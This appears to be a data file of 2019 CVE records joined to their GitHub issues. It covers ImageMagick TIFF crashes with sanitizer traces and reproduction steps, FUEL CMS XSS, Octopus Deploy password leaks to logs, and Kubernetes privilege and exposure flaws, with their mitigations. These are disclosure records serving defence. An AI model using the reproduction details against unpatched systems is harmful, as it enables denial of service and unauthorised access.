#10 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#11 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#12 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-use-after-free /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:659:16 in ReadImage
Shadow bytes around the buggy address:
0x0c4e7fffefd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fffefe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fffeff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7ffff000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7ffff010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4e7ffff020: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7ffff030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7ffff040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7ffff050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7ffff060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7ffff070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1962==ABORTING
```
* POC files are available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/3183a88ae/crashes).
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version: 7.0.8-43 Q16 x86_64 2019-04-27 (3183a88ae)
- Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64
- Additional information: It reports an assertion failure with regular debug mode compilation. | AddressSanitizer: heap-use-after-free at constitute.c:659 | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1554/comments | 2 | 2019-04-27T07:14:42Z | 2019-08-19T11:07:29Z | https://github.com/ImageMagick/ImageMagick/issues/1554 | 437,915,586 | 1,554 |
CVE-2019-15141 | 2019-08-18T19:15:09.760 | WriteTIFFImage in coders/tiff.c in ImageMagick 7.0.8-43 Q16 allows attackers to cause a denial-of-service (application crash resulting from a heap-based buffer over-read) via a crafted TIFF image file, related to TIFFRewriteDirectory, TIFFWriteDirectory, TIFFWriteDirectorySec, and TIFFWriteDirectoryTagColormap in tif_dirwrite.c of LibTIFF. NOTE: this occurs because of an incomplete fix for CVE-2019-11597. | {
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"baseSeverity": "MEDIUM",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"availabilityImpact": "HIGH",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Broken Link",
"Mailing List",
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],
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},
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},
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"tags": [
"Patch"
],
"url": "https://github.com/ImageMagick/ImageMagick6/commit/3c53413eb544cc567309b4c86485eae43e956112"
}
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
ImageMagick (https://github.com/ImageMagick/ImageMagick/commit/f06925afeabe3f01045db33d5a33d55e64378ebc) still suffers from heap-buffer-overflow error after patching https://github.com/ImageMagick/ImageMagick/issues/1555 .
### Steps to Reproduce
* Run `convert $FILE /dev/null`
* When linked with prebuilt libtiff.so from Ubuntu 18.04 LTS x86_64, AddressSanitizer reports:
```
==18301==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000045d4 at pc 0x000000473b42 bp 0x7ffe98d84b40 sp 0x7ffe98d842f0
READ of size 131072 at 0x6020000045d4 thread T0
#0 0x473b41 in __interceptor_memcpy.part.43 (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x473b41)
#1 0x7f07f4677d60 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x18d60)
#2 0x7f07f4678c9c in TIFFRewriteDirectory (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x19c9c)
#3 0x7f07f4680596 in TIFFFlush (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x21596)
#4 0x7f07f46675f4 in TIFFCleanup (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x85f4)
#5 0x7f07f4667618 in TIFFClose (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x8618)
#6 0x7f07f638dcac in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4324:3
#7 0x7f07f5978dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16
#8 0x7f07f5979e4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13
#9 0x7f07f4fe0a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11
#10 0x7f07f5132021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#11 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#12 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#13 0x7f07edda3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#14 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19)
0x6020000045d4 is located 0 bytes to the right of 4-byte region [0x6020000045d0,0x6020000045d4)
allocated by thread T0 here:
#0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470)
#1 0x7f07f4668737 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x9737)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x473b41) in __interceptor_memcpy.part.43
Shadow bytes around the buggy address:
0x0c047fff8860: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fd
0x0c047fff8870: fa fa 00 05 fa fa 00 04 fa fa 04 fa fa fa 00 03
0x0c047fff8880: fa fa 00 04 fa fa 00 07 fa fa 00 04 fa fa 00 04
0x0c047fff8890: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04
0x0c047fff88a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x0c047fff88b0: fa fa fd fa fa fa 00 fa fa fa[04]fa fa fa 04 fa
0x0c047fff88c0: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa fd fa
0x0c047fff88d0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 00
0x0c047fff88e0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fa fa
0x0c047fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18301==ABORTING
```
* When linked with [latest git commit of libtiff](https://gitlab.com/libtiff/libtiff/commit/453be8a9ce57057b2a88ef32486d407f2a47dbfc), AddressSanitizer reports:
```
==4531==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000045d4 at pc 0x0000004bd4c1 bp 0x7fff58a5ee00 sp 0x7fff58a5e5b0
READ of size 131072 at 0x6020000045d4 thread T0
#0 0x4bd4c0 in __asan_memcpy (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4bd4c0)
#1 0x7f2cce3ec1f4 in _TIFFmemcpy /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_unix.c:346:2
#2 0x7f2cce2ec909 in TIFFWriteDirectoryTagColormap /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:1853:2
#3 0x7f2cce2e2591 in TIFFWriteDirectorySec /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:566:10
#4 0x7f2cce2e01af in TIFFWriteDirectory /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:181:9
#5 0x7f2cce2e7a60 in TIFFRewriteDirectory /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:221:10
#6 0x7f2cce3148f6 in TIFFFlush /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_flush.c:81:13
#7 0x7f2cce2803eb in TIFFCleanup /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_close.c:51:3
#8 0x7f2cce280db2 in TIFFClose /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_close.c:126:2
#9 0x7f2cd010ecac in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4324:3
#10 0x7f2ccf6f9dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16
#11 0x7f2ccf6fae4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13
#12 0x7f2cced61a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11
#13 0x7f2cceeb3021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#14 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#15 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#16 0x7f2cc7986b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#17 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19)
0x6020000045d4 is located 0 bytes to the right of 4-byte region [0x6020000045d0,0x6020000045d4)
allocated by thread T0 here:
#0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470)
#1 0x7f2cce3ec0dc in _TIFFmalloc /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_unix.c:314:10
#2 0x7f2cce287a2d in setByteArray /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:51:19
#3 0x7f2cce287b76 in _TIFFsetShortArray /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:63:7
#4 0x7f2cce2908e5 in _TIFFVSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:375:3
#5 0x7f2cce287f46 in TIFFVSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:868:6
#6 0x7f2cce287e6b in TIFFSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:812:11
#7 0x7f2cd010e808 in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4262:16
#8 0x7f2ccf6f9dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16
#9 0x7f2ccf6fae4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13
#10 0x7f2cced61a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11
#11 0x7f2cceeb3021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#12 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#13 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#14 0x7f2cc7986b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4bd4c0) in __asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8860: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fd
0x0c047fff8870: fa fa 00 05 fa fa 00 04 fa fa 04 fa fa fa 00 03
0x0c047fff8880: fa fa 00 04 fa fa 00 07 fa fa 00 04 fa fa 00 04
0x0c047fff8890: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04
0x0c047fff88a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x0c047fff88b0: fa fa fd fa fa fa 00 fa fa fa[04]fa fa fa 04 fa
0x0c047fff88c0: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa fd fa
0x0c047fff88d0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 00
0x0c047fff88e0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fa fa
0x0c047fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4531==ABORTING
```
* POCs and other information are available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/f06925afe/crashes).
### System Configuration
- ImageMagick version: 7.0.8-43 Q16 x86_64 2019-04-28
- Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64
- Additional information: | AddressSanitizer: heap-buffer-overflow at coders/tiff.c:4324 | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1560/comments | 2 | 2019-04-28T11:01:35Z | 2019-09-17T04:41:56Z | https://github.com/ImageMagick/ImageMagick/issues/1560 | 438,043,984 | 1,560 |
CVE-2019-15228 | 2019-08-20T00:15:10.050 | FUEL CMS 1.4.4 has XSS in the Create Blocks section of the Admin console. This could lead to cookie stealing and other malicious actions. This vulnerability can be exploited with an authenticated account but can also impact unauthenticated visitors. | {
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{
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"baseSeverity": "LOW",
"cvssData": {
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"accessVector": "NETWORK",
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"availabilityImpact": "NONE",
"baseScore": 3.5,
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/536"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
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"url": "https://www.sevenlayers.com/index.php/237-fuelcms-1-4-4-xss"
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| XSS and CSRF in Blocks | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/536/comments | 0 | 2019-08-17T17:52:01Z | 2021-05-14T14:00:24Z | https://github.com/daylightstudio/FUEL-CMS/issues/536 | 481,910,543 | 536 |
CVE-2019-15507 | 2019-08-23T06:15:10.443 | In Octopus Deploy versions 2018.8.4 to 2019.7.6, when a web request proxy is configured, an authenticated user (in certain limited special-characters circumstances) could trigger a deployment that writes the web request proxy password to the deployment log in cleartext. This is fixed in 2019.7.7. The fix was back-ported to LTS 2019.6.7 as well as LTS 2019.3.8. | {
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"OctopusDeploy",
"Issues"
] | # Prerequisites
- [x] We are ready to publicly disclose this vulnerability or exploit according to our [responsible disclosure process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/2430143/Security+Disclosure+Policy).
- [ ] I have raised a CVE according to our [CVE process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/8290305/Requesting+a+CVE+ID)
- [x] I have written a descriptive issue title
- [x] I have linked the original source of this report
- [x] I have tagged the issue appropriately (area/security, kind/bug, tag/regression?)
## Description
In certain limited circumstances, the password for a proxy configured via the Octopus Server Manager may be logged in cleartext to the deployment log.
**CVE:** `CVE-2019-15507`
## Affected versions
**Octopus Server:** 2018.8.4 to 2019.7.6
## Mitigation
Only customers using a proxy which requires authentication are affected. Unfortunately, there are no good mitgations for this.
## Workarounds
Unfortunately, nothing good.
Use of a transparent proxy over ones that require configuration is good practice.
## Source
Source: [Internally reported] | TentacleProxyPassword logged in clear text if $env:HTTP_PROXY is printed and password contains special characters | https://api.github.com/repos/OctopusDeploy/Issues/issues/5761/comments | 1 | 2019-08-06T00:33:17Z | 2019-11-21T06:34:39Z | https://github.com/OctopusDeploy/Issues/issues/5761 | 477,113,059 | 5,761 |
CVE-2019-15508 | 2019-08-23T06:15:10.540 | In Octopus Tentacle versions 3.0.8 to 5.0.0, when a web request proxy is configured, an authenticated user (in certain limited OctopusPrintVariables circumstances) could trigger a deployment that writes the web request proxy password to the deployment log in cleartext. This is fixed in 5.0.1. The fix was back-ported to 4.0.7. | {
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"source": "[email protected]",
"type": "Primary"
}
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"url": "https://github.com/OctopusDeploy/Issues/issues/5750"
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] | github.com | [
"OctopusDeploy",
"Issues"
] | # Prerequisites
- [x] We are ready to publicly disclose this vulnerability or exploit according to our [responsible disclosure process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/2430143/Security+Disclosure+Policy).
- [x] I have raised a CVE according to our [CVE process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/8290305/Requesting+a+CVE+ID)
- [x] I have written a descriptive issue title
- [x] I have linked the original source of this report
- [x] I have tagged the issue appropriately (area/security, kind/bug, tag/regression?)
## Description
In certain limited circumstances, the password for a proxy configured via the Octopus Tentacle Manager may be logged in cleartext to the deployment log.
**CVE:** `CVE-2019-15508`
## Affected versions
**Octopus Tentacle:** 3.0.8 to 5.0.0
**Octopus Server:** 3.0.8 to 2019.7.6
## Mitigation
Only customers using a proxy which requires authentication are affected. Unfortunately, there are no good mitgations for this.
## Workarounds
Unfortunately, nothing good.
Use of a transparent proxy over ones that require configuration is good practice.
## Source
Source: [Internally reported] | Tentacle TentacleProxyPassword logged in clear text when OctopusPrintVariables is set | https://api.github.com/repos/OctopusDeploy/Issues/issues/5750/comments | 1 | 2019-08-01T23:06:46Z | 2020-01-28T11:14:29Z | https://github.com/OctopusDeploy/Issues/issues/5750 | 475,925,843 | 5,750 |
CVE-2019-15698 | 2019-08-27T17:15:11.210 | In Octopus Deploy 2019.7.3 through 2019.7.9, in certain circumstances, an authenticated user with VariableView permissions could view sensitive values. This is fixed in 2019.7.10. | {
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"version": "2.0"
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"exploitabilityScore": 8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
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"source": "[email protected]",
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],
"url": "https://github.com/OctopusDeploy/Issues/issues/5810"
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] | https://github.com/OctopusDeploy/Issues/issues/5810 | [
"Third Party Advisory"
] | github.com | [
"OctopusDeploy",
"Issues"
] | # Prerequisites
- [x] We are ready to publicly disclose this vulnerability or exploit according to our [responsible disclosure process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/2430143/Security+Disclosure+Policy).
- [x] I have raised a CVE according to our [CVE process](https://octopushq.atlassian.net/wiki/spaces/IN/pages/8290305/Requesting+a+CVE+ID)
- [x] I have written a descriptive issue title
- [x] I have linked the original source of this report
- [x] I have tagged the issue appropriately (area/security, kind/bug, tag/regression?)
## Description
In certain circumstances, an authenticated user with `VariableView` permissions could view sensitive values via the improved variable preview shipped in 2019.7.3. Introduced in https://github.com/OctopusDeploy/Issues/issues/4394.
## Affected versions
** Octopus Server** `2019.7.3` - `2019.7.9`
## Mitigation
Nothing great.
## Workarounds
* Upgrade to Octopus 2019.7.10+
* Limit users with VariableView permission
* Ensure all variables that reference a secure variable are themselves marked as sensitive
* Use subscriptions to track modifications to variables to audit access.
## Links
Source: internally reported.
Internal issue: https://github.com/OctopusDeploy/OctopusDeploy/issues/4232 | Sensitive values may be exposed in some circumstances via variable preview - CVE-2019-15698 | https://api.github.com/repos/OctopusDeploy/Issues/issues/5810/comments | 3 | 2019-08-27T06:16:15Z | 2019-11-26T00:34:27Z | https://github.com/OctopusDeploy/Issues/issues/5810 | 485,605,484 | 5,810 |
CVE-2019-11245 | 2019-08-29T01:15:11.147 | In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit runAsUser attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified mustRunAsNonRoot: true, the kubelet will refuse to start the container as root. If the pod did not specify mustRunAsNonRoot: true, the kubelet will run the container as uid 0. | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | [CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L), 4.9 (medium)
In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit `runAsUser` attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified `mustRunAsNonRoot: true`, the kubelet will refuse to start the container as root. If the pod did not specify `mustRunAsNonRoot: true`, the kubelet will run the container as uid 0.
CVE-2019-11245 will be **fixed** in the following Kubernetes releases:
* v1.13.7 in https://github.com/kubernetes/kubernetes/pull/78320
* v1.14.3 in https://github.com/kubernetes/kubernetes/pull/78316
Fixed by #78261 in master
### Affected components:
* Kubelet
### Affected versions:
* Kubelet v1.13.6
* Kubelet v1.14.2
### Affected configurations:
Clusters with:
* Kubelet versions v1.13.6 or v1.14.2
* Pods that do not specify an explicit `runAsUser: <uid>` or `mustRunAsNonRoot:true`
### Impact:
If a pod is run without any user controls specified in the pod spec (like `runAsUser: <uid>` or `mustRunAsNonRoot:true`), a container in that pod that would normally run as the USER specified in the container image manifest can sometimes be run as root instead (on container restart, or if the image was previously pulled to the node)
* pods that specify an explicit `runAsUser` are unaffected and continue to work properly
* podSecurityPolicies that force a `runAsUser` setting are unaffected and continue to work properly
* pods that specify `mustRunAsNonRoot:true` will refuse to start the container as uid 0, which can affect availability
* pods that do not specify `runAsUser` or `mustRunAsNonRoot:true` will run as uid 0 on restart or if the image was previously pulled to the node
### Mitigations:
This section lists possible mitigations to use prior to upgrading.
* Specify `runAsUser` directives in pods to control the uid a container runs as
* Specify `mustRunAsNonRoot:true` directives in pods to prevent starting as root (note this means the attempt to start the container will fail on affected kubelet versions)
* Downgrade kubelets to v1.14.1 or v1.13.5 as instructed by your Kubernetes distribution.
**original issue description follows**
**What happened**:
When I launch a pod from a docker image that specifies a USER in the Dockerfile, the container only runs as that user on its first launch. After that the container runs as UID=0.
**What you expected to happen**:
I expect the container to act consistently every launch, and probably with the USER specified in the container.
**How to reproduce it (as minimally and precisely as possible)**:
Testing with minikube (same test specifying v1.14.1, `kubectl logs test` always returns 11211):
```
$ minikube start --kubernetes-version v1.14.2
😄 minikube v1.1.0 on linux (amd64)
💿 Downloading Minikube ISO ...
131.28 MB / 131.28 MB [============================================] 100.00% 0s
🔥 Creating virtualbox VM (CPUs=2, Memory=2048MB, Disk=20000MB) ...
🐳 Configuring environment for Kubernetes v1.14.2 on Docker 18.09.6
💾 Downloading kubeadm v1.14.2
💾 Downloading kubelet v1.14.2
🚜 Pulling images ...
🚀 Launching Kubernetes ...
⌛ Verifying: apiserver proxy etcd scheduler controller dns
🏄 Done! kubectl is now configured to use "minikube"
$ cat test.yaml
---
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: test
image: memcached:latest
imagePullPolicy: IfNotPresent
command: ["/bin/bash"]
args:
- -c
- 'id -u; sleep 30'
$ kubectl apply -f test.yaml
pod/test created
# as soon as pod starts
$ kubectl logs test
11211
# Wait 30 seconds for container to restart
$ kubectl logs test
0
# Try deleting/recreating the pod
$ kubectl delete pod test
pod "test" deleted
$ kubectl apply -f test.yaml
pod/test created
$ kubectl logs test
0
```
**Anything else we need to know?**:
**Environment**:
- Kubernetes version (use `kubectl version`): I get the results I expect in v1.13.5 and v1.14.1. The problem exists in v1.13.6 and v1.14.2
- Cloud provider or hardware configuration: minikube v1.1.0 using VirtualBox
- OS (e.g: `cat /etc/os-release`):
- Kernel (e.g. `uname -a`):
- Install tools:
- Network plugin and version (if this is a network-related bug):
- Others:
| CVE-2019-11245: v1.14.2, v1.13.6: container uid changes to root after first restart or if image is already pulled to the node | https://api.github.com/repos/kubernetes/kubernetes/issues/78308/comments | 18 | 2019-05-24T16:14:49Z | 2022-10-14T02:07:10Z | https://github.com/kubernetes/kubernetes/issues/78308 | 448,249,782 | 78,308 |
CVE-2019-11247 | 2019-08-29T01:15:11.287 | The Kubernetes kube-apiserver mistakenly allows access to a cluster-scoped custom resource if the request is made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace, meaning that a user with access only to a resource in one namespace could create, view update or delete the cluster-scoped resource (according to their namespace role privileges). Kubernetes affected versions include versions prior to 1.13.9, versions prior to 1.14.5, versions prior to 1.15.2, and versions 1.7, 1.8, 1.9, 1.10, 1.11, 1.12. | {
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"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | [CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L)
The API server mistakenly allows access to a cluster-scoped custom resource if the request is made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace, meaning that a user with access only to a resource in one namespace could create, view update or delete the cluster-scoped resource (according to their namespace role privileges).
**Vulnerable versions:**
Kubernetes 1.7.x-1.12.x
Kubernetes 1.13.0-1.13.8
Kubernetes 1.14.0-1.14.4
Kubernetes 1.15.0-1.15.1
**Vulnerable configurations:**
All clusters that have rolebindings to roles and clusterroles that include authorization rules for cluster-scoped custom resources.
**Vulnerability impact:**
A user with access to custom resources in a single namespace can access custom resources with cluster scope.
**Mitigations prior to upgrading:**
To mitigate, remove authorization rules that grant access to cluster-scoped resources within namespaces. For example, RBAC roles and clusterroles intended to be referenced by namespaced rolebindings should not grant access to `resources:[*], apiGroups:[*]`, or grant access to cluster-scoped custom resources.
**Fixed versions:**
Fixed in v1.13.9 by #80852
Fixed in v1.14.5 by #80851
Fixed in v1.15.2 by #80850
Fixed in master by #80750
**Fix impact:**
Permission to the correct scope will be required to access cluster-scoped custom resources.
**Acknowledgements:**
This issue was discovered by Prabu Shyam of Verizon Media. Thanks to Stefan Schimanski for the fix, to David Eads for the fix review, and to the release managers for creating the security releases.
| CVE-2019-11247: API server allows access to custom resources via wrong scope | https://api.github.com/repos/kubernetes/kubernetes/issues/80983/comments | 10 | 2019-08-05T12:44:08Z | 2022-05-16T21:58:20Z | https://github.com/kubernetes/kubernetes/issues/80983 | 476,838,684 | 80,983 |
CVE-2019-11248 | 2019-08-29T01:15:11.367 | The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. The go pprof endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. | {
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"Patch",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | The debugging endpoint `/debug/pprof` is exposed over the unauthenticated Kubelet healthz port. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. If you are exposed we recommend upgrading to at least one of the versions listed.
**Am I vulnerable?**
By default, the Kubelet exposes unauthenticated healthz endpoints on port :10248, but only over localhost. If your nodes are using a non-localhost healthzBindAddress (--health-bind-address), and an older version, you may be vulnerable. If your nodes are using the default localhost healthzBindAddress, it is only exposed to pods or processes running in the host network namespace.
Run `kubectl get nodes` to see whether nodes are running a vulnerable version.
Run `kubectl get --raw /api/v1/nodes/${NODE_NAME}/proxy/configz` to check whether the "healthzBindAddress" is non-local.
**How do I mitigate the vulnerability?**
